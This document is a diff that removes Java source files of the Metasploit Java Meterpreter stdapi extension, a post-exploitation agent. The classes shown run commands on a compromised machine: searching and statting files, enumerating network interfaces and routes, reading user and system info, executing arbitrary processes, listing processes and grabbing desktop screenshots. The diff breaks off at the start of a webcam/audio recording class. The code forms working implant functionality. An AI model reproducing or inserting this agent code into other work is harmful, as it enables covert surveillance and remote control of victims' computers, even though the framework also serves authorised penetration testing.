response.addOverflow(TLVType.TLV_TYPE_STAT_BUF, statCommand.stat(f));
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,7 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
public class stdapi_fs_md5 extends HashCommand {
|
||||
protected String getAlgorithm() {
|
||||
return "MD5";
|
||||
}
|
||||
}
|
@ -1,24 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_fs_mkdir implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
||||
File file = Loader.expand(path);
|
||||
if (!file.getParentFile().exists() || !file.getParentFile().isDirectory()) {
|
||||
throw new IOException("Parent directory not found: " + path);
|
||||
}
|
||||
if (!file.mkdirs()) {
|
||||
throw new IOException("Cannot create directory " + file.getCanonicalPath());
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,103 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_fs_search implements Command {
|
||||
|
||||
private static final int TLV_TYPE_FILE_SIZE = TLVPacket.TLV_META_TYPE_UINT | 1204;
|
||||
|
||||
private static final int TLV_TYPE_SEARCH_RECURSE = TLVPacket.TLV_META_TYPE_BOOL | 1230;
|
||||
private static final int TLV_TYPE_SEARCH_GLOB = TLVPacket.TLV_META_TYPE_STRING | 1231;
|
||||
private static final int TLV_TYPE_SEARCH_ROOT = TLVPacket.TLV_META_TYPE_STRING | 1232;
|
||||
private static final int TLV_TYPE_SEARCH_RESULTS = TLVPacket.TLV_META_TYPE_GROUP | 1233;
|
||||
|
||||
/**
|
||||
* Simple glob implementation.
|
||||
*/
|
||||
private static boolean matches(String text, String glob) {
|
||||
String rest = null;
|
||||
int pos = glob.indexOf('*');
|
||||
if (pos != -1) {
|
||||
rest = glob.substring(pos + 1);
|
||||
glob = glob.substring(0, pos);
|
||||
}
|
||||
|
||||
if (glob.length() > text.length())
|
||||
return false;
|
||||
|
||||
// handle the part up to the first *
|
||||
for (int i = 0; i < glob.length(); i++)
|
||||
if (glob.charAt(i) != '?'
|
||||
&& !glob.substring(i, i + 1).equalsIgnoreCase(text.substring(i, i + 1)))
|
||||
return false;
|
||||
|
||||
// recurse for the part after the first *, if any
|
||||
if (rest == null) {
|
||||
return glob.length() == text.length();
|
||||
} else {
|
||||
for (int i = glob.length(); i <= text.length(); i++) {
|
||||
if (matches(text.substring(i), rest))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private List findFiles(String path, String mask, boolean recurse) {
|
||||
try {
|
||||
File pathfile = Loader.expand(path);
|
||||
if (!pathfile.exists() || !pathfile.isDirectory()) {
|
||||
pathfile = new File(path);
|
||||
if (!pathfile.exists() || !pathfile.isDirectory()) {
|
||||
throw new IOException("Path not found: " + path);
|
||||
}
|
||||
}
|
||||
path = pathfile.getCanonicalPath();
|
||||
File[] lst = new File(path).listFiles();
|
||||
List glob = new ArrayList();
|
||||
if (lst == null)
|
||||
return glob;
|
||||
for (int i = 0; i < lst.length; i++) {
|
||||
File file = lst[i];
|
||||
if (recurse && file.isDirectory()
|
||||
// don't follow links to avoid infinite recursion
|
||||
&& file.getCanonicalPath().equals(file.getAbsolutePath())) {
|
||||
glob.addAll(findFiles(file.getAbsolutePath(), mask, true));
|
||||
}
|
||||
// Match file mask
|
||||
if (matches(file.getName(), mask)) {
|
||||
glob.add(path + "/" + file.getName());
|
||||
}
|
||||
}
|
||||
Collections.sort(glob);
|
||||
return glob;
|
||||
} catch (IOException ex) {
|
||||
return Collections.EMPTY_LIST;
|
||||
}
|
||||
}
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String root = request.getStringValue(TLV_TYPE_SEARCH_ROOT, ".");
|
||||
String glob = request.getStringValue(TLV_TYPE_SEARCH_GLOB);
|
||||
boolean recurse = request.getBooleanValue(TLV_TYPE_SEARCH_RECURSE);
|
||||
List files = findFiles(root, glob, recurse);
|
||||
for (int i = 0; i < files.size(); i++) {
|
||||
File f = new File((String) files.get(i));
|
||||
TLVPacket file_tlvs = new TLVPacket();
|
||||
file_tlvs.add(TLVType.TLV_TYPE_FILE_PATH, f.getParentFile().getPath());
|
||||
file_tlvs.add(TLVType.TLV_TYPE_FILE_NAME, f.getName());
|
||||
file_tlvs.add(TLV_TYPE_FILE_SIZE, (int) f.length());
|
||||
response.addOverflow(TLV_TYPE_SEARCH_RESULTS, file_tlvs);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,17 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_fs_separator implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
response.add(TLVType.TLV_TYPE_STRING, File.separator);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
}
|
@ -1,7 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
public class stdapi_fs_sha1 extends HashCommand {
|
||||
protected String getAlgorithm() {
|
||||
return "SHA-1";
|
||||
}
|
||||
}
|
@ -1,79 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_fs_stat implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
||||
if (path.equals("...")) {
|
||||
long length = meterpreter.getErrorBufferLength();
|
||||
if (length != -1) {
|
||||
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(0444 | 0100000, length, System.currentTimeMillis()));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
File file = new File(path);
|
||||
if (!file.exists())
|
||||
file = Loader.expand(path);
|
||||
if (!file.exists())
|
||||
throw new IOException("File/directory does not exist: " + path);
|
||||
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(file));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
public byte[] stat(File file) throws IOException {
|
||||
int mode = (file.canRead() ? 0444 : 0) | (file.canWrite() ? 0222 : 0) | (canExecute(file) ? 0110 : 0) | (file.isHidden() ? 1 : 0) | (file.isDirectory() ? 040000 : 0) | (file.isFile() ? 0100000 : 0);
|
||||
return stat(mode, file.length(), file.lastModified());
|
||||
}
|
||||
|
||||
private byte[] stat(int mode, long length, long lastModified) throws IOException {
|
||||
ByteArrayOutputStream statbuf = new ByteArrayOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(statbuf);
|
||||
dos.writeInt(le(0)); // dev
|
||||
dos.writeShort(short_le(0)); // ino
|
||||
dos.writeShort(short_le(mode)); // mode
|
||||
dos.writeShort(short_le(1)); // nlink
|
||||
dos.writeShort(short_le(65535)); // uid
|
||||
dos.writeShort(short_le(65535)); // gid
|
||||
dos.writeShort(short_le(0)); // padding
|
||||
dos.writeInt(le(0)); // rdev
|
||||
dos.writeInt(le((int) length)); // size
|
||||
int mtime = (int) (lastModified / 1000);
|
||||
dos.writeInt(le(mtime)); // atime
|
||||
dos.writeInt(le(mtime)); // mtime
|
||||
dos.writeInt(le(mtime)); // ctime
|
||||
dos.writeInt(le(1024)); // blksize
|
||||
dos.writeInt(le((int) ((length + 1023) / 1024))); // blocks
|
||||
return statbuf.toByteArray();
|
||||
}
|
||||
|
||||
/**
|
||||
* Check whether a file can be executed.
|
||||
*/
|
||||
protected boolean canExecute(File file) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert an integer to little endian.
|
||||
*/
|
||||
private static int le(int value) {
|
||||
return ((value & 0xff) << 24) | ((value & 0xff00) << 8) | ((value & 0xff0000) >> 8) | (int) ((value & 0xff000000L) >> 24);
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert a short to little endian.
|
||||
*/
|
||||
private static int short_le(int value) {
|
||||
return ((value & 0xff) << 8) | ((value & 0xff00) >> 8);
|
||||
}
|
||||
}
|
@ -1,10 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
public class stdapi_fs_stat_V1_6 extends stdapi_fs_stat {
|
||||
|
||||
protected boolean canExecute(File file) {
|
||||
return file.canExecute();
|
||||
}
|
||||
}
|
@ -1,5 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
// Dummy class
|
||||
public class stdapi_net_config_get_interfaces {
|
||||
}
|
@ -1,99 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.InetAddress;
|
||||
import java.net.NetworkInterface;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Enumeration;
|
||||
import java.util.List;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get_interfaces implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
int index = 0;
|
||||
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
|
||||
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
|
||||
TLVPacket ifaceTLV = new TLVPacket();
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_INTERFACE_INDEX, ++index);
|
||||
Address[] addresses = getAddresses(iface);
|
||||
for (int i = 0; i < addresses.length; i++) {
|
||||
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP, addresses[i].address);
|
||||
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP_PREFIX, new Integer(addresses[i].prefixLength));
|
||||
if (addresses[i].scopeId != null) {
|
||||
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP6_SCOPE, addresses[i].scopeId);
|
||||
}
|
||||
}
|
||||
addMTU(ifaceTLV, iface);
|
||||
byte[] mac = getMacAddress(iface);
|
||||
if (mac != null) {
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, mac);
|
||||
} else {
|
||||
// seems that Meterpreter does not like interfaces without
|
||||
// mac address
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, new byte[0]);
|
||||
}
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_MAC_NAME, iface.getName() + " - " + iface.getDisplayName());
|
||||
response.addOverflow(TLVType.TLV_TYPE_NETWORK_INTERFACE, ifaceTLV);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
|
||||
// not supported before 1.6
|
||||
}
|
||||
|
||||
protected byte[] getMacAddress(NetworkInterface iface) throws IOException {
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return address information of this interface that cannot be determined
|
||||
* the same way for all Java versions.
|
||||
*
|
||||
* @param iface
|
||||
* @return Array of {@link Interface}
|
||||
*/
|
||||
public Address[] getAddresses(NetworkInterface iface) throws IOException {
|
||||
List/* <Address> */result = new ArrayList();
|
||||
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements();) {
|
||||
InetAddress addr = (InetAddress) en.nextElement();
|
||||
byte[] ip = addr.getAddress();
|
||||
if (ip == null)
|
||||
continue;
|
||||
int prefixLength = 0;
|
||||
if (ip.length == 4) {
|
||||
// guess netmask by network class...
|
||||
if ((ip[0] & 0xff) < 0x80) {
|
||||
prefixLength = 8;
|
||||
} else if ((ip[0] & 0xff) < 0xc0) {
|
||||
prefixLength = 16;
|
||||
} else {
|
||||
prefixLength = 24;
|
||||
}
|
||||
}
|
||||
result.add(new Address(ip, prefixLength, null));
|
||||
}
|
||||
return (Address[]) result.toArray(new Address[result.size()]);
|
||||
}
|
||||
|
||||
/**
|
||||
* An IP address associated to an interface, together with a prefix length
|
||||
* and optionally a scope.
|
||||
*/
|
||||
protected static class Address {
|
||||
public final byte[] address;
|
||||
public final int prefixLength;
|
||||
public final byte[] scopeId;
|
||||
|
||||
public Address(byte[] address, int prefixLength, byte[] scopeId) {
|
||||
this.address = address;
|
||||
this.prefixLength = prefixLength;
|
||||
this.scopeId = scopeId;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,42 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.Inet6Address;
|
||||
import java.net.InterfaceAddress;
|
||||
import java.net.NetworkInterface;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
|
||||
public class stdapi_net_config_get_interfaces_V1_6 extends stdapi_net_config_get_interfaces_V1_4 {
|
||||
|
||||
public Address[] getAddresses(NetworkInterface iface) throws IOException {
|
||||
List/* <Address> */result = new ArrayList();
|
||||
List addresses = iface.getInterfaceAddresses();
|
||||
for (Iterator it = addresses.iterator(); it.hasNext();) {
|
||||
InterfaceAddress addr = (InterfaceAddress) it.next();
|
||||
byte[] ip = addr.getAddress().getAddress();
|
||||
if (ip == null)
|
||||
continue;
|
||||
int prefixLength = addr.getNetworkPrefixLength();
|
||||
byte[] scopeId = null;
|
||||
if (addr.getAddress() instanceof Inet6Address) {
|
||||
ByteBuffer bb = ByteBuffer.allocate(4);
|
||||
bb.order(ByteOrder.BIG_ENDIAN);
|
||||
bb.putInt(((Inet6Address) addr.getAddress()).getScopeId());
|
||||
scopeId = bb.array();
|
||||
}
|
||||
result.add(new Address(ip, prefixLength, scopeId));
|
||||
}
|
||||
return (Address[]) result.toArray(new Address[result.size()]);
|
||||
}
|
||||
|
||||
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_MTU, iface.getMTU());
|
||||
}
|
||||
}
|
@ -1,5 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
// Dummy class
|
||||
public class stdapi_net_config_get_routes {
|
||||
}
|
@ -1,39 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.net.NetworkInterface;
|
||||
import java.util.Enumeration;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_net_config_get_routes_V1_4 extends stdapi_net_config_get_routes implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
stdapi_net_config_get_interfaces_V1_4 getIfaceCommand = (stdapi_net_config_get_interfaces_V1_4) meterpreter.getCommandManager().getCommand("stdapi_net_config_get_interfaces");
|
||||
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
|
||||
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
|
||||
stdapi_net_config_get_interfaces_V1_4.Address[] addresses = getIfaceCommand.getAddresses(iface);
|
||||
for (int i = 0; i < addresses.length; i++) {
|
||||
TLVPacket ifaceTLV = new TLVPacket();
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, addresses[i].address);
|
||||
int length = addresses[i].address.length;
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, createNetworkMask(length, addresses[i].prefixLength));
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[length]);
|
||||
response.addOverflow(TLVType.TLV_TYPE_NETWORK_ROUTE, ifaceTLV);
|
||||
}
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
private static byte[] createNetworkMask(int length, int prefixLength) {
|
||||
if (prefixLength > length * 8)
|
||||
prefixLength = length * 8;
|
||||
byte[] netmask = new byte[length];
|
||||
for (int i = 0; i < prefixLength; i++) {
|
||||
netmask[i / 8] |= (1 << (7 - (i % 8)));
|
||||
}
|
||||
return netmask;
|
||||
}
|
||||
}
|
@ -1,28 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.Socket;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.SocketChannel;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_net_socket_tcp_shutdown implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
SocketChannel c = (SocketChannel) meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
||||
|
||||
Socket socket = c.getSocket();
|
||||
int how = request.getIntValue(TLVType.TLV_TYPE_SHUTDOWN_HOW);
|
||||
shutdown(socket, how);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
protected void shutdown(Socket socket, int how) throws IOException {
|
||||
socket.close();
|
||||
}
|
||||
}
|
@ -1,28 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.Socket;
|
||||
|
||||
public class stdapi_net_socket_tcp_shutdown_V1_3 extends stdapi_net_socket_tcp_shutdown {
|
||||
|
||||
protected void shutdown(Socket socket, int how) throws IOException {
|
||||
switch (how) {
|
||||
|
||||
case 0: // shutdown reading
|
||||
socket.shutdownInput();
|
||||
break;
|
||||
|
||||
case 1: // shutdown writing
|
||||
socket.shutdownOutput();
|
||||
break;
|
||||
|
||||
case 2: // shutdown reading and writing
|
||||
socket.shutdownInput();
|
||||
socket.shutdownOutput();
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new IllegalArgumentException("Invalid value for TLV_TYPE_SHUTDOWN_HOW: " + how);
|
||||
}
|
||||
}
|
||||
}
|
@ -1,13 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_sys_config_getuid implements Command {
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
response.add(TLVType.TLV_TYPE_USER_NAME, System.getProperty("user.name"));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,16 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.net.InetAddress;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_sys_config_sysinfo implements Command {
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
response.add(TLVType.TLV_TYPE_COMPUTER_NAME, InetAddress.getLocalHost().getHostName());
|
||||
response.add(TLVType.TLV_TYPE_OS_NAME, System.getProperty("os.name") + " " + System.getProperty("os.version") + " (" + System.getProperty("os.arch") + ")");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,55 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.StringTokenizer;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.ProcessChannel;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_sys_process_execute implements Command {
|
||||
|
||||
private static final int PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1);
|
||||
|
||||
private static int pid = 0;
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
StringBuffer cmdbuf = new StringBuffer();
|
||||
String cmd = request.getStringValue(TLVType.TLV_TYPE_PROCESS_PATH);
|
||||
String argsString = request.getStringValue(TLVType.TLV_TYPE_PROCESS_ARGUMENTS, "");
|
||||
int flags = request.getIntValue(TLVType.TLV_TYPE_PROCESS_FLAGS);
|
||||
|
||||
cmdbuf.append(cmd);
|
||||
if (argsString.length() > 0) {
|
||||
cmdbuf.append(argsString);
|
||||
}
|
||||
|
||||
|
||||
if (cmd.length() == 0)
|
||||
return ERROR_FAILURE;
|
||||
|
||||
Process proc = execute(cmdbuf.toString());
|
||||
|
||||
if ((flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) != 0) {
|
||||
ProcessChannel channel = new ProcessChannel(meterpreter, proc);
|
||||
synchronized (stdapi_sys_process_execute.class) {
|
||||
pid++;
|
||||
response.add(TLVType.TLV_TYPE_PID, pid);
|
||||
response.add(TLVType.TLV_TYPE_PROCESS_HANDLE, pid);
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
||||
} else {
|
||||
proc.getInputStream().close();
|
||||
proc.getErrorStream().close();
|
||||
proc.getOutputStream().close();
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
protected Process execute(String cmdstr) throws IOException {
|
||||
Process proc = Runtime.getRuntime().exec(cmdstr);
|
||||
return proc;
|
||||
}
|
||||
}
|
@ -1,10 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class stdapi_sys_process_execute_V1_3 extends stdapi_sys_process_execute {
|
||||
protected Process execute(String[] cmdarray) throws IOException {
|
||||
Process proc = Runtime.getRuntime().exec(cmdarray, null, Loader.cwd);
|
||||
return proc;
|
||||
}
|
||||
}
|
@ -1,79 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.InputStreamReader;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
/**
|
||||
* Ported from PHP meterpreter.
|
||||
*
|
||||
* # Works, but not very portable. There doesn't appear to be a PHP way of
|
||||
* # getting a list of processes, so we just shell out to ps/tasklist.exe. I need
|
||||
* # to decide what options to send to ps for portability and for information
|
||||
* # usefulness.
|
||||
*/
|
||||
public class stdapi_sys_process_get_processes implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
List processes = new ArrayList();
|
||||
if (File.pathSeparatorChar == ';') {
|
||||
Process proc = Runtime.getRuntime().exec(new String[] { "tasklist.exe", "/v", "/fo", "csv", "/nh" });
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (line.length() == 0)
|
||||
continue;
|
||||
line = line.substring(1, line.length() - 1); // strip quotes
|
||||
List parts = new ArrayList();
|
||||
int pos;
|
||||
// Ghetto CSV parsing
|
||||
while ((pos = line.indexOf("\",\"")) != -1) {
|
||||
parts.add(line.substring(0, pos));
|
||||
line = line.substring(pos + 3);
|
||||
}
|
||||
parts.add(line);
|
||||
while (parts.size() < 7)
|
||||
parts.add("");
|
||||
processes.add(new String[] { (String) parts.get(1), (String) parts.get(6), (String) parts.get(0) });
|
||||
}
|
||||
br.close();
|
||||
proc.waitFor();
|
||||
} else {
|
||||
Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid,user,cmd --no-header 2>/dev/null" });
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
line = line.replace('\t', ' ').trim();
|
||||
String[] process = new String[3];
|
||||
for (int i = 0; i < 2; i++) {
|
||||
int pos = line.indexOf(" ");
|
||||
process[i] = line.substring(0, pos);
|
||||
line = line.substring(pos).trim();
|
||||
}
|
||||
process[2] = line;
|
||||
processes.add(process);
|
||||
}
|
||||
}
|
||||
for (int i = 0; i < processes.size(); i++) {
|
||||
String[] proc = (String[]) processes.get(i);
|
||||
TLVPacket grp = new TLVPacket();
|
||||
grp.add(TLVType.TLV_TYPE_PID, new Integer(proc[0]));
|
||||
grp.add(TLVType.TLV_TYPE_USER_NAME, proc[1]);
|
||||
String procName = proc[2];
|
||||
if (File.pathSeparatorChar != ';' && procName.indexOf(' ') != -1) {
|
||||
procName = procName.substring(0, procName.indexOf(' '));
|
||||
}
|
||||
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, procName);
|
||||
grp.add(TLVType.TLV_TYPE_PROCESS_PATH, proc[2]);
|
||||
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,5 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
// Dummy class
|
||||
public class stdapi_ui_desktop_screenshot {
|
||||
}
|
@ -1,45 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.awt.GraphicsDevice;
|
||||
import java.awt.GraphicsEnvironment;
|
||||
import java.awt.Rectangle;
|
||||
import java.awt.Robot;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
import javax.imageio.IIOImage;
|
||||
import javax.imageio.ImageIO;
|
||||
import javax.imageio.ImageWriteParam;
|
||||
import javax.imageio.ImageWriter;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_ui_desktop_screenshot_V1_4 extends stdapi_ui_desktop_screenshot implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
int quality = request.getIntValue(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY);
|
||||
response.add(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT, grabScreen(quality));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
private byte[] grabScreen(int quality) throws Exception {
|
||||
Rectangle screenBounds = new Rectangle();
|
||||
GraphicsDevice[] devices = GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices();
|
||||
for (int i = 0; i < devices.length; i++) {
|
||||
screenBounds = screenBounds.union(devices[i].getDefaultConfiguration().getBounds());
|
||||
}
|
||||
ImageWriter writer = (ImageWriter) ImageIO.getImageWritersByFormatName("jpeg").next();
|
||||
ImageWriteParam iwp = writer.getDefaultWriteParam();
|
||||
if (quality >= 0 && quality <= 100) {
|
||||
iwp.setCompressionMode(ImageWriteParam.MODE_EXPLICIT);
|
||||
iwp.setCompressionQuality(quality / 100.0f);
|
||||
}
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
writer.setOutput(ImageIO.createImageOutputStream(baos));
|
||||
writer.write(null, new IIOImage(new Robot().createScreenCapture(screenBounds), null, null), iwp);
|
||||
writer.dispose();
|
||||
return baos.toByteArray();
|
||||
}
|
||||
}
|
@ -1,5 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
//Dummy class
|
||||
public class webcam_audio_record {
|
||||
}
|
@ -1,59 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
